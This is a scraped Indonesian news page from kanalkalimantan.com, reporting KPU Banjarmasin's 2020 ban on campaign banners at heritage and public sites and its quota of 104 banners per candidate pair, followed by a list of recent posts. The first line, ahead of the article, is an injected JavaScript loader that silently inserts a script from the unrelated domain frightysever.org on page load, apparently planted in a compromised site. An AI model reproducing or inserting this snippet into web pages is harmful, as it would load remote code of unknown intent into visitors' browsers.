(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJARMASIN

Terlarang di Tempat Cagar Budaya, KPU Banjarmasin Fasilitasi 104 Spanduk Setiap Paslon


KANALKALIMANTAN.COM, BANJARMASIN – Keberadaan alat peraga kampanye (APK) di Pilkada Banjarmasin memang sangat diperlukan. Namun, KPU Kota Banjarmasin menekankan kepada setiap Paslon (pasangan calon) tidak meletakkan APK di tempat cagar budaya.

Komisioner KPU Kota Banjarmasin Syarifudin Akbar menegaskan, tempat cagar budaya adalah tempat terlarang untuk keberadaan sarana Paslon mengenalkan diri kepada masyarakat.
Ia mencontohkan cagar budaya seperti Kubah Habib Basirih, di Kelurahan Basirih, Kecamatan Banjarmasin Barat.

“Seperti Kubah Habib Basirih, di situ tidak boleh dijadikan tempat untuk kampanye, termasuk keberadaan APK,” kata Syafrudin Akbar, Rabu (30/09/2020) siang. Akbar menjelaskan, selain dilarang Peraturan KPU, pelarangan peletakkan APK di makan salah satu ulama kharismatik di Kalimantan Selatan ini juga atas permintaan zuriat dari Habib Basirih sendiri.

Menurut Akbar, zuriat (keturunan) Habib Basirih sudah meminta agar tidak ada pemasangan APK di kawasan kubah, termasuk sekitar kubah Habib Basirih. Tidak hanya di kubah Basirih, pihaknya juga melarang keberadaan APK di Makam Sultan Suriansyah dan juga fasilitas milik Pemko Banjarmasin. Kemudian juga di fasilitas umum seperti sekolah, ibadah, tempat kesehatan atau di jalan protokol.

“Karena ini sudah masuk Surat Keputusan (SK) KPU. Jika empat paslon melakukan hal tersebut dan sudah di luar ketentuan, maka dapat sanksi oleh Satpol PP,” tegasnya. Oleh karena itu KPU Kota Banjarmasin akan menginstruksikan hal tersebut kepada empat paslon Wali Kota dan Wakil Wali Kota Banjarmasin untuk senantiasa selalu mentaatinya.

Disamping itu, Akbar memaparkan, APK yang difasilitasi KPU adalah spanduk. Dimana, spanduk ini hanya dipasang 2 buah per kelurahan, atau jika ditotal dengan jumlah kelurahan di Kota Banjarmasin sebanyak 52 kelurahan, maka ada 104 spanduk yang harus disiapkan untuk setiap paslon.

“Semuanya difasilitasi, seperti baliho. Kami maksimal mencetaknya itu 5 buah, kemudian untuk umbul-umbul sebanyak 20 buah per kecamatan. Ada lima kecamatan, artinya ada 100 buah. Ini untuk satu paslon,” pungkas Akbar. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.